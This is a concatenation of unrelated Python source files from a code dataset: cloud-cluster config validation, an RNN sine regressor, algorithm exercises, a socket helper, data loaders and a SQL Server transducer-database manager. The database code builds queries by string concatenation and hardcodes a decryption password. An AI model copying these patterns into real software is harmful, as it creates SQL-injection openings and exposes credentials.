:py:attr:`self.config`.\n\n :raises: :py:class:`voluptuous.Invalid` if one property is invalid\n :raises: :py:class:`voluptuous.MultipleInvalid` if multiple\n properties are not compliant\n \"\"\"\n self._pre_validate()\n\n # schema to validate all cluster properties\n schema = {\"cluster\": {\"cloud\": All(str, Length(min=1)),\n \"setup_provider\": All(str, Length(min=1)),\n \"login\": All(str, Length(min=1)),\n },\n \"setup\": {\"provider\": All(str, Length(min=1)),\n Optional(\"playbook_path\"): can_read_file(),\n Optional(\"ansible_command\"): All(can_read_file(), can_execute_file()),\n Optional(\"ansible_extra_args\"): All(str, Length(min=1)),\n Optional(\"ssh_pipelining\"): Boolean(str),\n },\n \"login\": {\"image_user\": All(str, Length(min=1)),\n \"image_user_sudo\": All(str, Length(min=1)),\n \"image_sudo\": Boolean(str),\n \"user_key_name\": All(str, Length(min=1)),\n \"user_key_private\": can_read_file(),\n \"user_key_public\": can_read_file(),\n },\n }\n\n cloud_schema_ec2 = {\"provider\": 'ec2_boto',\n \"ec2_url\": Url(str),\n Optional(\"ec2_access_key\"): All(str, Length(min=1)),\n Optional(\"ec2_secret_key\"): All(str, Length(min=1)),\n \"ec2_region\": All(str, Length(min=1)),\n Optional(\"request_floating_ip\"): Boolean(str),\n Optional(\"vpc\"): All(str, Length(min=1)),\n Optional(\"instance_profile\"): All(str, Length(min=1)),\n }\n cloud_schema_gce = {\"provider\": 'google',\n \"gce_client_id\": All(str, Length(min=1)),\n \"gce_client_secret\": All(str, Length(min=1)),\n \"gce_project_id\": All(str, Length(min=1)),\n Optional(\"noauth_local_webserver\"): Boolean(str),\n Optional(\"zone\"): All(str, Length(min=1)),\n Optional(\"network\"): All(str, Length(min=1)),\n }\n\n cloud_schema_openstack = {\"provider\": 'openstack',\n \"auth_url\": All(str, Length(min=1)),\n \"username\": All(str, Length(min=1)),\n \"password\": All(str, Length(min=1)),\n \"project_name\": All(str, Length(min=1)),\n Optional(\"request_floating_ip\"): Boolean(str),\n Optional(\"region_name\"): All(str, Length(min=1)),\n Optional(\"nova_api_version\"): nova_api_version(),\n }\n cloud_schema_azure = {\"provider\": 'azure',\n \"subscription_id\": All(str, Length(min=1)),\n \"certificate\": All(str, Length(min=1)),\n }\n node_schema = {\n \"flavor\": All(str, Length(min=1)),\n \"image_id\": All(str, Length(min=1)),\n \"security_group\": All(str, Length(min=1)),\n Optional(\"network_ids\"): All(str, Length(min=1)),\n }\n\n # validation\n validator = Schema(schema, required=True, extra=True)\n node_validator = Schema(node_schema, required=True, extra=True)\n ec2_validator = Schema(cloud_schema_ec2, required=True, extra=False)\n gce_validator = Schema(cloud_schema_gce, required=True, extra=False)\n openstack_validator = Schema(cloud_schema_openstack, required=True, extra=False)\n azure_validator = Schema(cloud_schema_azure, required=True, extra=False)\n\n if not self.config:\n raise Invalid(\"No clusters found in configuration.\")\n\n for cluster, properties in self.config.iteritems():\n self.config[cluster] = validator(properties)\n\n if 'provider' not in properties['cloud']:\n raise Invalid(\n \"Missing `provider` option in cluster `%s`\" % cluster)\n try:\n cloud_props = properties['cloud']\n if properties['cloud']['provider'] == \"ec2_boto\":\n self.config[cluster]['cloud'] = ec2_validator(cloud_props)\n elif properties['cloud']['provider'] == \"google\":\n self.config[cluster]['cloud'] = gce_validator(cloud_props)\n elif properties['cloud']['provider'] == \"openstack\":\n self.config[cluster]['cloud'] = openstack_validator(cloud_props)\n elif properties['cloud']['provider'] == \"azure\":\n self.config[cluster]['cloud'] = azure_validator(cloud_props)\n except MultipleInvalid as ex:\n raise Invalid(\"Invalid configuration for cloud section `cloud/%s`: %s\" % (properties['cluster']['cloud'], str.join(\", \", [str(i) for i in ex.errors])))\n\n\n if 'nodes' not in properties or len(properties['nodes']) == 0:\n raise Invalid(\n \"No nodes configured for cluster `%s`\" % cluster)\n\n for node, props in properties['nodes'].iteritems():\n # check name pattern to conform hostnames\n match = re.search(r'^[a-zA-Z0-9-]*$', node)\n if not match:\n raise Invalid(\n \"Invalid name `%s` for node group. A valid node group\"\n \" can only consist of letters, digits or the hyphen\"\n \" character (`-`)\" % (node,))\n\n node_validator(props)\n\n if (properties['cloud']['provider'] == 'ec2_boto'\n and 'vpc' in self.config[cluster]['cloud']\n and 'network_ids' not in props):\n raise Invalid(\n \"Node group `%s/%s` is being used in\"\n \" a VPC, so it must specify network_ids.\"\n % (cluster, node))\n\n if (properties['cloud']['provider'] == 'ec2_boto'\n and 'network_ids' in props\n and 'vpc' not in self.config[cluster]['cloud']):\n raise Invalid(\n \"Cluster `%s` must specify a VPC to place\"\n \" `%s` instances in %s\"\n % (cluster, node, props['network_ids']))\n\n self._post_validate()\n\n\nclass ConfigReader(object):\n \"\"\"Reads the configuration properties from a ini file.\n\n :param str configfile: path to configfile\n \"\"\"\n cluster_section = \"cluster\"\n login_section = \"login\"\n setup_section = \"setup\"\n cloud_section = \"cloud\"\n node_section = \"node\"\n\n def __init__(self, paths):\n self.configfiles = self._list_config_files(paths)\n\n configparser = RawConfigParser()\n config_tmp = configparser.read(self.configfiles)\n self.conf = dict()\n for section in configparser.sections():\n self.conf[section] = dict(configparser.items(section))\n\n #self.conf = ConfigObj(self.configfile, interpolation=False)\n\n self.schemas = {\n \"storage\": Schema(\n {Optional(\"storage_path\"): All(str),\n Optional(\"storage_type\"): Any('yaml', 'json', 'pickle'),\n }),\n \"cloud\": Schema(\n {\"provider\": Any('ec2_boto', 'google', 'openstack', 'azure'),\n \"ec2_url\": Url(str),\n Optional(\"ec2_access_key\"): All(str, Length(min=1)),\n Optional(\"ec2_secret_key\"): All(str, Length(min=1)),\n \"ec2_region\": All(str, Length(min=1)),\n \"auth_url\": All(str, Length(min=1)),\n \"username\": All(str, Length(min=1)),\n \"password\": All(str, Length(min=1)),\n \"tenant_name\": All(str, Length(min=1)),\n Optional(\"region_name\"): All(str, Length(min=1)),\n \"gce_project_id\": All(str, Length(min=1)),\n \"gce_client_id\": All(str, Length(min=1)),\n \"gce_client_secret\": All(str, Length(min=1)),\n \"nova_client_api\": nova_api_version()}, extra=True),\n \"subscription_id\": All(str, Length(min=1)),\n \"certificate\": All(str, Length(min=1)),\n \"cluster\": Schema(\n {\"cloud\": All(str, Length(min=1)),\n \"setup_provider\": All(str, Length(min=1)),\n \"login\": All(str, Length(min=1)),\n }, required=True, extra=True),\n \"setup\": Schema(\n {\"provider\": All(str, Length(min=1)),\n }, required=True, extra=True),\n \"login\": Schema(\n {\"image_user\": All(str, Length(min=1)),\n \"image_user_sudo\": All(str, Length(min=1)),\n \"image_sudo\": Boolean(str),\n \"user_key_name\": All(str, Length(min=1)),\n \"user_key_private\": can_read_file(),\n \"user_key_public\": can_read_file()}, required=True)\n }\n\n @staticmethod\n def _list_config_files(paths, expand_user_dir=True):\n \"\"\"\n Return list of (existing) configuration files.\n\n The list of configuration file is built in the following way:\n\n - any path pointing to an existing file is included in the result;\n\n - for any path ``P``, if directory ``P.d`` exists, any file\n contained in it and named ``*.conf`` is included in the\n result;\n\n - non-existing paths are (silently) ignored and omitted from the\n returned result.\n\n If keyword argument `expand_user_dir` is true (default), then\n each path is expanded with `os.path.expanduser`.\n \"\"\"\n configfiles = set()\n if expand_user_dir:\n paths = [os.path.expanduser(cfg) for cfg in paths]\n for path in paths:\n if os.path.isfile(path):\n configfiles.add(path)\n path_d = path + '.d'\n if os.path.isdir(path_d):\n for entry in os.listdir(path_d):\n if entry.endswith('.conf'):\n cfgfile = os.path.join(path_d, entry)\n if cfgfile not in configfiles:\n configfiles.add(cfgfile)\n return list(configfiles)\n\n def read_config(self):\n \"\"\"Reads the configuration properties from the ini file and links the\n section to comply with the cluster config dictionary format.\n\n :return: tuple of dictionaries (clusters, storage) containing\n all configuration properties from the ini file in compliance\n to the cluster config format, and global configuration options for the storage.\n\n :raises: :py:class:`voluptuous.MultipleInvalid` if not all sections\n present or broken links between secitons\n\n \"\"\"\n storage_section = self.conf.get('storage', {\n 'storage_path': Configurator.default_storage_path,\n 'storage_type': Configurator.default_storage_type})\n\n clusters = dict((key, value) for key, value in self.conf.iteritems() if\n re.search(ConfigReader.cluster_section + \"/(.*)\", key)\n and key.count(\"/\") == 1)\n\n conf_values = dict()\n\n errors = MultipleInvalid()\n # FIXME: to be refactored:\n # we should check independently each one of the sections, and raise errors accordingly.\n\n for cluster in clusters:\n # Get the name of the cluster\n name = re.search(ConfigReader.cluster_section + \"/(.*)\",\n cluster).groups()[0]\n if not name:\n errors.add(\"Invalid section name `%s`\" % cluster)\n continue\n\n cluster_conf = self._make_cluster_conf(self.conf[cluster])\n\n try:\n self.schemas['cluster'](cluster_conf)\n except MultipleInvalid as ex:\n for error in ex.errors:\n errors.add(\"Section `%s`: %s\" % (cluster, error))\n continue\n\n cloud_name = ConfigReader.cloud_section + \"/\" + cluster_conf[\n 'cloud']\n login_name = ConfigReader.login_section + \"/\" + cluster_conf[\n 'login']\n setup_name = ConfigReader.setup_section + \"/\" + cluster_conf[\n 'setup_provider']\n\n values = dict()\n values['cluster'] = cluster_conf\n try:\n values['setup'] = dict(self.conf[setup_name])\n self.schemas['setup'](values['setup'])\n except KeyError as ex:\n errors.add(\n \"cluster `%s` setup section `%s` does not exists\" % (\n cluster, setup_name))\n except MultipleInvalid as ex:\n for error in ex.errors:\n errors.add(error)\n\n try:\n values['login'] = dict(self.conf[login_name])\n self.schemas['login'](values['login'])\n except KeyError as ex:\n errors.add(\n \"cluster `%s` login section `%s` does not exists\" % (\n cluster, login_name))\n except MultipleInvalid as ex:\n errors.add(Invalid(\"Error in login section `%s`: %s\" % (\n login_name, str.join(', ', [str(e) for e in ex.errors]))))\n\n try:\n values['cloud'] = dict(self.conf[cloud_name])\n self.schemas['cloud'](values['cloud'])\n except KeyError as ex:\n errors.add(\n \"cluster `%s` cloud section `%s` does not exists\" % (\n cluster, cloud_name))\n except MultipleInvalid as ex:\n for error in ex.errors:\n errors.add(Invalid(\"section %s: %s\" % (cloud_name, error)))\n\n try:\n # nodes can inherit the properties of cluster or overwrite them\n nodes = dict((key, value) for key, value in\n values['cluster'].items() if\n key.endswith('_nodes'))\n values['nodes'] = dict()\n for node in nodes.iterkeys():\n node_name = re.search(\"(.*)_nodes\", node).groups()[0]\n property_name = \"%s/%s/%s\" % (ConfigReader.cluster_section,\n name, node_name)\n if property_name in self.conf:\n node_values = dict(\n (key, value.strip(\"'\").strip('\"')) for key, value\n in self.conf[property_name].iteritems())\n node_values = dict(\n values['cluster'].items() + node_values.items())\n values['nodes'][node_name] = node_values\n else:\n values['nodes'][node_name] = values['cluster']\n\n if errors.errors:\n log.error(\"Ignoring cluster `%s`: %s\" % (\n name, str.join(\", \", [str(e) for e in errors.errors])))\n else:\n conf_values[name] = values\n except KeyError as ex:\n errors.add(\"Error in section `%s`\" % cluster)\n\n # FIXME: do we really need to raise an exception if we cannot\n # parse *part* of the configuration files? We should just\n # ignore those with errors and return both the parsed\n # configuration values _and_ a list of errors\n if errors.errors:\n raise errors\n return (conf_values, storage_section)\n\n\n def _make_cluster_conf(self, conf):\n \"\"\"\n Create dictionary of cluster config keys.\n\n Compatibility changes, renames, deprecation warnings, etc. all\n happen here -- so that the rest of the code can always assume\n the configuration is the latest documented format.\n \"\"\"\n cfg = dict(conf)\n\n # working on issue #279 uncovered a conflict between code and\n # docs: the documentation referred to config keys\n # `_min_nodes` but the code actually looked for\n # `_nodes_min`. Keep this last version as it makes the\n # code simpler, but alert users of the change...\n for k,v in cfg.items():\n if k.endswith('_min_nodes'):\n # replace with correct key name\n new_k = k[:-len('_min_nodes')] + '_nodes_min'\n cfg[new_k] = v\n del cfg[k]\n warnings.warn(\n \"Configuration key '{0}' should be renamed to '{1}'.\"\n \" Support for automatic renaming will be removed\"\n \" in the next major version of ElastiCluster.\"\n .format(k, new_k))\n\n return cfg\n","repo_name":"vipinsachdeva/elasticluster_full","sub_path":"orig.src/elasticluster/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":33920,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"3237967283","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Dec 10 21:08:05 2018\r\n\r\n@author: lj\r\n\"\"\"\r\nimport numpy as np\r\nimport tensorflow as tf\r\nimport random\r\n\r\ntf.reset_default_graph() ##用于清除默认图形堆栈并重置全局默认图形\r\n\r\ndef build_data(feature_len): #构造2000个序列长度为n的正弦序列,前1500个作为训练集,后500个作为测试集\r\n xs=[]\r\n ys=[]\r\n for i in range(2000):\r\n k=random.uniform(1,50)\r\n x=[[np.sin(k + j)] for j in range(0,feature_len)]\r\n y=[np.sin(k + feature_len)]\r\n xs.append(x)\r\n ys.append(y)\r\n train_x=np.array(xs[0:1500])\r\n train_y=np.array(ys[0:1500])\r\n test_x=np.array(xs[1500:])\r\n test_y=np.array(ys[1500:])\r\n return train_x,train_y,test_x,test_y\r\n\r\nclass RNN_Sine():\r\n '''定义RNN_Sine类\r\n '''\r\n def __init__(self,n_steps,n_inputs,batch_size,hidden_size,input_train_feature,input_train_label,input_test_feature,input_test_label,n_output):\r\n self.batch_size = batch_size # RNN模型中RNNcell的个数\r\n self.hidden_size = hidden_size # RNN cell 隐含层节点数\r\n self.n_steps = n_steps #RNN每个节点输入特征的长度\r\n self.n_inputs = n_inputs #特征中每个元素的长度\r\n self.input_train_feature = input_train_feature #数据特征\r\n self.input_train_label = input_train_label #数据标签\r\n self.input_test_feature = input_test_feature\r\n self.input_test_label = input_test_label\r\n self.n_output = n_output #CTC层输出节点数\r\n \r\n def seq_predict_model(self,X,W,b):\r\n ## 初始化RNN单元\r\n X = tf.transpose(X,[1,0,2]) ##交换batch_size和n_steps\r\n X = tf.reshape(X,[-1,self.n_inputs]) ##(n_steps*batch_size,n_inputs) \r\n X = tf.split(X,self.n_steps,0) ## n_steps * (batch_size, n_inputs)\r\n rnn_cell = tf.contrib.rnn.BasicRNNCell(num_units = self.batch_size)\r\n init_state = rnn_cell.zero_state(self.batch_size,dtype = tf.float32)\r\n outputs,states = tf.contrib.rnn.static_rnn(rnn_cell,X,initial_state = init_state) ## outputs -- [n_steps,batch_size,hidden_size]\r\n y_pred = tf.matmul(outputs[-1],W) + b\r\n return y_pred\r\n \r\n def fit(self):\r\n '''RNN模型训练\r\n '''\r\n #1.声明输入输出的占位符\r\n X = tf.placeholder('float',[None,self.n_steps,self.n_inputs],name = 'X')\r\n Y = tf.placeholder('float',[None,self.n_output],name = 'Y')\r\n # 2.输出层参数\r\n W = tf.Variable(tf.random_normal([self.hidden_size,self.n_output]))\r\n b = tf.Variable(tf.random_normal([self.n_output]))\r\n # 3.构造RNN计算图\r\n y_pred = self.seq_predict_model(X,W,b)\r\n # 4.声明代价函数和优化算法\r\n loss = tf.sqrt(tf.square(tf.subtract(Y,y_pred)))\r\n train_op = tf.train.GradientDescentOptimizer(0.001).minimize(loss)\r\n # 5.构造迭代过程并预测结果\r\n trX = self.input_train_feature\r\n trY = self.input_train_label\r\n teX = self.input_test_feature\r\n teY = self.input_test_label\r\n \r\n with tf.Session() as sess:\r\n tf.initialize_all_variables().run()\r\n for i in range(50):\r\n for end in range(batch_size,len(trX),batch_size):\r\n begin = end - batch_size\r\n x_value = trX[begin:end]\r\n y_value = trY[begin:end]\r\n #通过session.run接口触发执行\r\n sess.run(train_op,feed_dict={X:x_value,Y:y_value})\r\n test_indices=np.arange(len(teX)) #在训练的过程中开始测试\r\n np.random.shuffle(test_indices)\r\n test_indices=test_indices[0:self.batch_size]\r\n x_value=teX[test_indices]\r\n y_value=teY[test_indices]\r\n val_loss=np.mean(sess.run(loss,feed_dict={X:x_value,Y:y_value})) #使���均方差作为代价函数\r\n print ('Run %s'%i,val_loss)\r\n\r\n \r\nif __name__ == '__main__':\r\n print('--------------------1. Parameters Setting--------------------')\r\n n_steps = 10 ##每个RNN cell输入特征长度\r\n n_inputs = 1 ##特征中每个元素的大小\r\n batch_size = 10 ##rnn网络的节点数\r\n hidden_size = 10\r\n n_output = 1 \r\n print('-----------------------2. Load Data---------------------------')\r\n input_train_feature,input_train_label,input_test_feature,input_test_label = build_data(n_steps)\r\n print('-------------------3.Model Training------------------')\r\n rnn = RNN_Sine(n_steps,n_inputs,batch_size,hidden_size,input_train_feature,input_train_label,input_test_feature,input_test_label,n_output)\r\n rnn.fit()\r\n","repo_name":"shiluqiang/RNN_regression","sub_path":"RNN_tensorflow.py","file_name":"RNN_tensorflow.py","file_ext":"py","file_size_in_byte":4761,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"71813796909","text":"# 허프만 - 최소 비용 계산\n\nimport heapq\n\nclass HuffmanNode:\n\tdef __init__(self, freq, symbol):\n\t\tself.freq = freq\n\t\tself.symbol = symbol\n\t\tself.left = None\n\t\tself.right = None\n\tdef __lt__(self, other):\n\t\treturn self.freq < other.freq\n\ndef Huffman_code(frequencies):\n\theap = []\n\tfor i, freq in enumerate(frequencies):\n\t\theapq.heappush(heap, HuffmanNode(freq, i))\n\n\twhile len(heap) > 1:\n\t\ta = heapq.heappop(heap)\n\t\tb = heapq.heappop(heap)\n\t\tmerged_freq = a.freq + b.freq\n\t\tmerged_node = HuffmanNode(merged_freq, None)\n\t\tmerged_node.left = a\n\t\tmerged_node.right = b\n\t\theapq.heappush(heap, merged_node)\n\n\treturn heap[0]\n\ndef build_codes(node, code, codes):\n\tif node.symbol is not None:\n\t\tcodes[node.symbol] = code\n\telse:\n\t\tbuild_codes(node.left, code + \"0\", codes)\n\t\tbuild_codes(node.right, code + \"1\", codes)\n\ndef calculate_min_cost(frequencies):\n\troot = Huffman_code(frequencies)\n\tcodes = {}\n\tbuild_codes(root, \"\", codes)\n\n\ttotal_cost = 0\n\tfor symbol, code in codes.items():\n\t\tfreq = frequencies[symbol]\n\t\tcode_length = len(code)\n\t\tcost = freq * code_length\n\t\ttotal_cost += cost\n\n\treturn total_cost, codes\n\n# n개의 자연수(빈도수)를 입력받아 리스트 f에 저장\nf = [int(x) for x in input().split()]\nmin_cost, huffman_codes = calculate_min_cost(f)\n\n#print(\"Huffman Codes:\", huffman_codes) # 코드 출력\nprint(min_cost)\t# 최소 cost 출력\n","repo_name":"InKyungWoo/DataStructure-Algorithm","sub_path":"HUFS_Algorithm/goorm_실습/15_Huffman.py","file_name":"15_Huffman.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"33046137100","text":"class Solution(object):\n def threeSum(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[List[int]]\n \"\"\"\n result = []\n resultString = []\n nums.sort()\n for i in range(0, len(nums)):\n fixedNumber = nums[i]\n lst = self.twoSum(nums, i + 1, len(nums), -fixedNumber)\n\n for list in lst:\n s = str(fixedNumber) + str(list[0]) + str(list[1])\n if s not in resultString:\n resultString.append(s)\n l = [fixedNumber, list[0], list[1]]\n result.append(l)\n\n return result\n\n def twoSum(self, nums, start, end, target):\n hash = []\n result = []\n for i in range(start, end):\n if (target - nums[i]) in hash:\n lst = []\n lst.append(target - nums[i])\n lst.append(nums[i])\n result.append(lst)\n\n hash.append(nums[i])\n\n return result\n\nobj = Solution()\nobj.threeSum([-1, 0, 1, 2, -1, -4])\n\n\n\n\n","repo_name":"KaranJaswani/Codes","sub_path":"LeetCode-Python/15. 3Sum.py","file_name":"15. 3Sum.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"2741748357","text":"\"\"\" gossipd\n\"\"\"\nfrom __future__ import absolute_import\nfrom gossipd.util.config import CONF\n\nclass Socket(object):\n \"\"\" Socket\n \"\"\"\n\n _sock = None\n\n def _send(self, message):\n if self._sock:\n print(\"SEND: %s\" % message)\n self._sock.sendall(message)\n self._sock.send(\"\\n\".encode('ascii'))\n\n def _recv(self):\n if not self._sock:\n return None\n\n data = ''.encode('ascii')\n while True:\n packet = self._sock.recv(CONF.RECV_BYTES)\n if not packet:\n break\n data += packet\n if packet[-1] == CONF.NEW_LINE_CHAR:\n break\n\n print(\"RECV: %s\" % data.decode())\n return data.decode()\n\n def _close(self):\n if self._sock:\n self._sock.shutdown(1)\n self._sock.close()\n self._sock = None\n\n def _error(self, message):\n self._send(message)\n self._close()\n","repo_name":"sinner-/gossipd","sub_path":"gossipd/process/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"74867443950","text":"from model import compute\nfrom view.InstanceEdit import InstanceEdit\n\nclass NumberEdit(InstanceEdit):\n def text(self):\n val = compute(self.path)\n if val is None:\n return 'need a\\nnumber'\n return str(val)\n def getval(self):\n val = compute(self.path)\n if val is None:\n return 0\n return val\n def setval(self, val):\n last_field = self.path[-1]\n if last_field.is_const():\n last_field.value = val\n def handle_key__BACKSPACE(self, key_event):\n val = self.getval()\n newval = val//10\n if val < 0:\n newval += 1\n self.setval(newval)\n def handle_key__MINUS(self, key_event):\n self.setval(-self.getval())\n def handle_anykey(self, key_event):\n if super(NumberEdit, self).handle_anykey(key_event):\n return True\n key_name = key_event.unicode\n if not '0' <= key_name <= '9':\n return False\n key_val = int(key_name)\n val = self.getval()\n sign = 1 if val >= 0 else -1\n newval = sign * key_val + 10 * val\n self.setval(newval)\n return True\n","repo_name":"yairchu/old-lang-demo-1","sub_path":"view/default/NumberEdit.py","file_name":"NumberEdit.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"71126076592","text":"import pandas as pd\nimport numpy as np\n\ndef load_data_chess(filename=''):\n train_csv_file = pd.read_csv(\"../datasets/国际象棋Checkmate预测/\" + \"train\" + filename + \".csv\")\n X_train = np.array(train_csv_file.iloc[:, 0:6].values.astype(np.float32))\n Y_train = np.array(train_csv_file.iloc[:, 6].values.astype(np.int32))\n test_csv_file = pd.read_csv(\"../datasets/国际象棋Checkmate预测/\" + \"test\" + filename + \".csv\")\n X_test = np.array(test_csv_file.iloc[:, 0:6].values.astype(np.float32))\n Y_test = np.array(test_csv_file.iloc[:, 6].values.astype(np.int32))\n return X_train, Y_train, X_test, Y_test\n\ndef load_data_frog():\n train_csv_file = pd.read_csv(\"../datasets/青蛙聚类/Frogs_MFCCs.csv\")\n X = np.array(train_csv_file.iloc[:, 0:22].values.astype(np.float32))\n Y = np.array(train_csv_file.iloc[:, 22:25])\n return X, Y\n","repo_name":"GEoURo/AI-Lab2","sub_path":"src/import_data.py","file_name":"import_data.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"2333828753","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis module wraps the functions needed to manage a merged transducer\ndatabase in the TxDB object. Functions are:\n TxDB - Constructor that returns the TxDB object.\n getDefaults - Shows default database configure settings. Can be\n modified through optional constructor arguments.\n\nInquire with the TDB object and methods for more details.\n\nJoshua Rubin - 2016 - For Labcyte\n\"\"\"\n\nimport os\nimport sys\nimport time\nimport pyodbc\nimport hashlib\nimport subprocess\n\nfrom . import mergeTransducerDB \n\n_TxDBDefaults = {'DBServer' : 'Lighthouse',\n 'mergeDBName' : 'Bonita',\n 'serverDataPath' : None, # Unless this is specified, this will get set to the server default in the constructor.\n 'cipherPath' : r'\\\\Lighthouse\\Cipher\\cipher.exe' }\n\ndef getDefaults():\n \"\"\" Returns the default transducer database settings\"\"\"\n print('Note: serverDataPath default determined dynamically from server default when TxDB is created unless specified by user when calling constructor. Print TxDB.serverDataPath after instantiation to check.')\n return _TxDBDefaults\n\nclass TxDB():\n \"\"\"This object wraps all the functions needed to manage a merged transducer\n database. Optional specifiable configuration arguments are:\n DBServer - The name of the database connection in your Windows,\n Administrative Tools -> Data Sources (ODBC) configuration.\n mergeDBServer - The name of the merged transducer database to be manipulated\n or created.\n serverDataPath - Where the database server likes to keep its database files.\n Set based on server defaults. Not determined until TxDB created.\n cipherPath - Where the Labcyte cipher executable resides with respect\n to the database server.\n To view the defaults, run TxDB.viewDefaultSettings. \n \"\"\"\n def __init__(self, **initArgs ):\n \n # Set defaults\n for key, val in _TxDBDefaults.items():\n setattr(self, key, val)\n\n # Modify defaults\n for key, val in initArgs.items():\n setattr(self, key, val)\n \n self.databaseTableString = self.mergeDBName + \".dbo.globalDatabases\"\n self.transducerTableString = self.mergeDBName + \".dbo.globalTransducer\"\n self.instrumentTableString = self.mergeDBName + \".dbo.globalInstrument\"\n \n # Setup database\n cnxn = pyodbc.connect('DRIVER={SQL Server};SERVER=lighthouse;Trusted_Connection=yes;')\n cnxn.autocommit = True\n self.cursor = cnxn.cursor()\n \n if not self.serverDataPath:\n self.serverDataPath = self.cursor.execute(\"exec master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', N'Software\\Microsoft\\MSSQLServer\\MSSQLServer', N'DefaultData'\").fetchall()[0][1]\n \n def _initializeTxDBIfMissing(self):\n \"\"\"If not present, create a new mergeDB with global tables.\"\"\"\n \n cursor = self.cursor\n mergeDBName = self.mergeDBName\n databasesTableString = self.databaseTableString\n transducerTableString = self.transducerTableString\n instrumentTableString = self.instrumentTableString\n \n cursor.execute(\"IF DB_ID('\"+mergeDBName+\"') IS NULL \\\n CREATE DATABASE \"+mergeDBName) \n \n cursor.execute(\"IF OBJECT_ID('\"+ transducerTableString + \"','U') IS NULL \\\n CREATE TABLE \" + transducerTableString + \" ( \\\n TX_SN NCHAR(32), \\\n Amplitude FLOAT, \\\n BeamWidth FLOAT, \\\n BeamSymmetry FLOAT, \\\n FitQuality FLOAT, \\\n BowlWidth FLOAT, \\\n Volume FLOAT, \\\n TxGroup VARCHAR(MAX),\\\n PRIMARY KEY (TX_SN) \\\n );\") \n \n cursor.execute(\"IF OBJECT_ID('\"+ instrumentTableString + \"','U') IS NULL \\\n CREATE TABLE \" + instrumentTableString + \" ( \\\n Instrument_SN NCHAR(32), \\\n PRIMARY KEY (Instrument_SN) \\\n );\") \n \n cursor.execute(\"IF OBJECT_ID('\"+ databasesTableString + \"','U') IS NULL \\\n CREATE TABLE \" + databasesTableString + \" ( \\\n DatabaseId NCHAR(32), \\\n TX_SN NCHAR(32), \\\n Instrument_SN NCHAR(32), \\\n MC_SN NCHAR(32), \\\n DatabaseType VARCHAR(MAX), \\\n DatabaseStyle VARCHAR(MAX), \\\n Version VARCHAR(MAX), \\\n OriginalPath VARCHAR(MAX), \\\n UploadDate DATETIME, \\\n SourceDatabase VARCHAR(MAX), \\\n PRIMARY KEY (DatabaseId), \\\n CONSTRAINT FK_DatabasesTX FOREIGN KEY (TX_SN) \\\n REFERENCES \"+ transducerTableString +\" (TX_SN) ON DELETE CASCADE,\\\n CONSTRAINT FK_DatabasesInstrument FOREIGN KEY (Instrument_SN) \\\n REFERENCES \"+ instrumentTableString +\" (Instrument_SN) ON DELETE CASCADE);\")\n\n def _addTxToGlobalInstrumentIfMissing(self, Instrument_SN):\n \"\"\"Adds a Instrument SN to globalDatabases if it's not already there.\"\"\"\n print('Adding instrument record if necessary.')\n\n cursor = self.cursor\n instrumentTableString = self.instrumentTableString \n\n cursor.execute(\"IF (SELECT COUNT(*) FROM \" + instrumentTableString + \" \\\n WHERE Instrument_SN = '\" + Instrument_SN + \"') = 0 \\\n INSERT INTO \" + instrumentTableString + \" \\\n (Instrument_SN) VALUES ('\" + Instrument_SN + \"')\")\n def _addTxToGlobalTransducersIfMissing(self, TX_SN):\n \"\"\"Adds a transducer SN to globalTransducers if it's not already there.\"\"\"\n print('Adding transducer record if necessary.') \n \n cursor = self.cursor\n transducerTableString = self.transducerTableString \n \n cursor.execute(\"IF (SELECT COUNT(*) FROM \" + transducerTableString + \"\\\n WHERE TX_SN = '\" + TX_SN + \"') = 0 \\\n INSERT INTO \" + transducerTableString + \" \\\n (TX_SN) VALUES ('\" + TX_SN + \"')\")\n \n def _getDatabaseContents(self, dbPath):\n \"\"\"Takes a .bak file-path and returns a database contents list.\"\"\"\n\n cursor = self.cursor \n \n cursor.execute(\"RESTORE FILELISTONLY FROM DISK='\" + dbPath + \"'\")\n \n components = []\n \n while 1:\n row = cursor.fetchone()\n if not row:\n break\n \n components.append((row.LogicalName,row.Type))\n \n return components\n \n def _restoreDatabase(self, path, dbName, dbComponents):\n \"\"\" Restures a .bak file to lighthouse, decrypt if encrypted.\"\"\"\n \n serverDataPath = self.serverDataPath \n cipherPath = self.cipherPath \n \n moveStrings = [\"MOVE '\" + comp[0] + \"' TO '\" + serverDataPath + \"\\\\\" + dbName + \"_\" + comp[0] + (\".mdf\" if comp[1] == 'D' else \".ldf\") + \"'\" for comp in dbComponents]\n \n print('Restoring DB')\n \n cursor = self.cursor \n \n cursor.execute(\"RESTORE DATABASE \" + dbName + \" FROM DISK='\" + path + \"' WITH \" + \",\".join(moveStrings))\n \n time.sleep(3) # Restore database is an async operation. Should be checking for completeness of restore.\n # Hacky sloution, but good enough.\n \n # Try to decrypt db - will do nothing if unnecessary\n x=subprocess.run([cipherPath, '-p', 'c1ph3r', '-d', '-s', 'lighthouse', '-n', dbName], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n \n if x.returncode == 0:\n print(\"\\t\"+x.stdout.decode(\"utf-8\"))\n if 'Unable to proceed' in x.stdout.decode(\"utf-8\"):\n raise Exception('Error with cipher. (Known not to load drivers properly if pyCyote is run from Lighthouse.) Not decrypted. Stopping.')\n else:\n print(\"\\tError code: \" + str(x.returncode))\n print(\"\\t\"+x.stderr.decode(\"utf-8\"))\n \n 